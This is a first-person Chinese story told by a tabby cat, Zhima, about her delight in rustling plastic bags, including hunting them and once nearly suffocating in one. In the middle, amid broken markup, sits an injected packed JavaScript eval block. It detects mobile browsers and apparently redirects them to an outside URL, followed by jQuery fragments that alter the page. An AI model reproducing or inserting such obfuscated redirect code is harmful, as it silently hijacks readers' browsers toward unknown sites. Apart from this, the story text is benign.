人类的造物中，充满了令我费解又着迷的物件。有些华而不实（比如闪亮但易碎的水晶摆件），有些沉闷无趣（比如厚重的书籍，除了抓挠封面有点意思），但有一种东西，以其极致的简单、普遍和不可预测的声响，牢牢抓住了我的心——塑料袋。
它们通常以不起眼的姿态出现：被他从更大的购物袋里拿出来，皱成一团，塞在某个柜子角落；或者装着新买的东西，被随意放在桌上、地上；有时，只是厨房垃圾桶里换下来的、沾着些许食物气味的透明薄膜。
它们看起来软弱无力，轻飘飘的，一阵风就能吹跑。但它们的魔力，在于声音。
当我的爪子，哪怕是最轻微的触碰，落在那些皱褶上时——“沙……”
那是一种干燥的、细碎的、充满摩擦质感的声音，像无数片极薄的枯叶在相互摩擦，又像有什么微小生物在秘密巢穴里穿行。这声音直接挠在我的听觉神经最痒的地方。
如果我用更大的力气去拍打、抓挠，或者干脆跳进去，用身体在里面打滚，那声音便升级为一场热烈的“沙沙交响乐”！
哗啦！咔嚓！悉悉索索！声音随着我的动作千变万化，每一个褶皱的舒展，每一次塑料薄膜的摩擦，都产生独特的音符。
这太令人上瘾了！
这是一种由我完全掌控的、即时反馈的声响游戏。不同于羽毛逗猫棒需要他的配合，塑料袋是我独享的、随取随用的快乐源泉。
我最喜欢的一种玩法，是把头钻进半开的塑料袋口，在里面探索。
视线被半透明的塑料扭曲，世界变成模糊晃动的光影。我的呼吸声在里面被放大，呼出的热气让塑料内侧蒙上白雾。我转动脑袋，塑料袋就跟着我的头哗啦作响，像戴了一顶吵闹的皇冠。
另一种经典玩法是“追捕”。
如果他无意中把一个轻薄的塑料袋放在地上，被空调或门缝的风吹得微微一动，我的狩猎本能会立刻被激活。
那沙沙的移动声，像极了草丛里惊慌逃窜的小猎物！我会伏低身体，瞳孔放大，尾巴尖激动地颤抖，然后猛地扑过去！爪子按住那沙沙作响的“猎物”，听它在我的压制下发出更剧烈的、投降般的哗啦声。然后我松开，让它“逃跑”，再追，再扑，循环往复，直到塑料袋被我折腾得破破烂烂，或者滚到某个家具底下我够不着为止。
他也发现了我的这项爱好。有时他从超市回来，会把那个大的、结实的购物袋故意放在地上，对我说：“芝麻，你的新玩具。”我就会兴奋地冲过去，钻进去，把里面可能有的零碎物品（纸巾盒、小包装零食）都扒拉出来，然后在空袋子里打滚、抓挠、扑腾，制造出惊天动地的噪音，自得其乐。
当然，这种狂热也有风险。
有一次，我玩得太投入，脑袋钻进一个小的保鲜袋里，一时没找到出口，塑料袋紧贴着脸，让我有点呼吸困难，恐慌之下在屋里乱窜，撞倒了一个花瓶（幸好是塑料的）。他赶紧把我捉住，小心地把塑料袋从我头上摘下来，又好气又好笑。
“傻猫，差点闷到自己！”他之后就会特别注意，不留下太小的、可能套住我头的塑料袋。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420548|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
还有一次，我迷恋上一个装过炸鸡的塑料袋（上面残留着极其诱人的油脂香气），不仅玩，还试图舔食上面的味道。他严厉地制止了我，把那个塑料袋拿走，并告诉我（用语气和动作）那很危险，吃了会生病。
我虽然不舍那香气，但明白了他严肃态度下的关切。
尽管有这些小插曲，塑料袋的沙沙声依然是我生活中不可或缺的快乐音符。
它廉价，易得，却能提供最纯粹的、感官上的刺激和娱乐。
它让我想起荒野中风吹过干草丛的声响，那是一种原始的、关于“动静”和“探索”的回响。
他有时会看着我对着一个破塑料袋疯狂输出，摇摇头，对电话那头（可能是朋友）笑着说：“我家猫最喜欢的玩具，永远是免费的塑料袋。”语气里没有嫌弃，只有一种对我这“没出息”爱好的宠溺和不解。
我会在玩累之后，瘫在被我蹂躏得不成形的塑料袋旁边，舌头微吐，喘着气，心满意足。那沙沙声的余韵仿佛还留在耳朵里，和阳光晒暖的皮毛触感、肚子饱足的感觉一起，构成“幸福”这个词的具体感知。
在这个充满昂贵猫爬架、精巧电动玩具的时代，我，芝麻，一只见过世面（流浪过）的狸花猫，郑重宣布：最顶级的娱乐，往往来自最不起眼的角落。
比如，一个被随手丢下的、会沙沙作响的、神奇的透明薄壳。
那是我的交响乐，我的狩猎场，我的探险隧道。
是我用爪子和胡须，为这个日光定居之家，谱写的、最活泼顽皮的背景音。